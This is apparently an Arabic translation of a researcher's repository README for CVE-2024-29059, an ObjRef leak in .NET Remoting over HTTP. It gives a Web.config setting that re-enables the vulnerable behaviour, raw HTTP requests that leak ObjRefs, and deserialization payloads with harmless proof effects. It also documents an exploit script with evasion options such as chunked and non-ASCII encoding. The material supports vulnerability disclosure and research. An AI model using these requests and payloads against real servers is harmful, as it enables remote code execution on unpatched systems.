
موارد إضافية لتسريب واستغلال ObjRefs عبر HTTP .NET Remoting (CVE-2024-29059)
ObjRefs عبر HTTP .NET Remoting (CVE-2024-29059)يوفّر هذا المستودع مزيدًا من التفاصيل والموارد حول مقال مدوّنة CODE WHITE الذي يحمل الاسم نفسه تسريب ObjRefs لاستغلال HTTP .NET Remoting:
ObjRefTypeFilterLevel.Lowيعتمد ما يلي على تكوين Application Insights لموقع ASP.NET الخاص بك من Microsoft ويصف كيفية إنشاء تطبيق ويب ASP.NET ضعيف باستخدام Visual Studio 2019 (المطلوب لاستهداف .NET Framework 4.5.2، وما زال بإمكانك تنزيله من https://aka.ms/vs/16/release/vs_community.exe) وMicrosoft Application Insights:
إذا كانت تحديثات .NET Framework لشهر يناير 2024 مثبّتة، فافتح ملف Web.config وأضف ما يلي ضمن /configuration/appSettings لإعادة تفعيل السلوك القابل للاستغلال:
<add key="microsoft:Remoting:LateHttpHeaderParsing" value="true" />
يمكنك بعد ذلك تشغيل تطبيق الويب عبر Debug > Start Without Debugging أو بالضغط على Ctrl+F5.
ObjRefيمكنك استخدام الطلبات التالية لتسريب ObjRefs الخاصة بكائنات MarshalByRefObject المخزّنة في LogicalCallContext:
BinaryServerFormatterSink:
GET /RemoteApplicationMetadata.rem?wsdl HTTP/1.0
__RequestVerb: POST
Content-Type: application/octet-stream
SoapServerFormatterSink:
GET /RemoteApplicationMetadata.rem?wsdl HTTP/1.0
__RequestVerb: POST
Content-Type: text/xml
يمكن بعد ذلك مطابقة URIs الخاصة بـObjRef المسرّبة باستخدام التعبير النمطي التالي:
/[0-9a-f_]+/[0-9A-Za-z_+]+_\d+\.rem
لقد أنشأنا حمولتَي إلغاء تسلسل بسيطتين استنادًا إلى أداة TextFormattingRunProperties الخاصة بـYSoSerial.Net مع حمولات XAML مخصصة تعمل ضمن القيود الناتجة عن TypeFilterLevel.Low لتنفيذ ما يلي:
HttpContext.Current.Response.AddHeader("Set-Cookie", "x=ad92afb4-00c3-4479-bab8-2425b5716081")HttpContext.Current.Response.RedirectLocation = "/ad92afb4-00c3-4479-bab8-2425b5716081"يمكن ملاحظة ترويسات HTTP في استجابة الخادم لطلب HTTP .NET Remoting.
يوفر سكربت RemoteApplicationMetadata.py طريقة لتسريب ObjRef الموجود ثم استخدامه في طلب لاحق لتسليم حمولة معينة:
usage: RemoteApplicationMetadata.py [-h] [-c] [--chunk-range CHUNK_RANGE] [-e] [-f {binary,soap}] [-u] [-v] url [file]
positional arguments:
url target URL (without `RemoteApplicationMetadata.rem`)
file BinaryFormatter/SoapFormatter payload file (default: stdin)
options:
-h, --help show this help message and exit
-c, --chunked use chunked Transfer-Encoding for request
--chunk-range CHUNK_RANGE
range to pick the chunk size from randomly, e. g., 1-10
-e, --encoding apply a random non ASCII-based encoding on SOAP
-f {binary,soap}, --format {binary,soap}
targeted runtime serializer format (default: soap)
-u, --use-generic-uri
use the generic `RemoteApplicationMetadata.rem` also for the payload delivery request
-v, --verbose print verbose info
مثال:
./RemoteApplicationMetadata.py -f binary https://127.0.0.1:44365 AddHeader.bin -u -v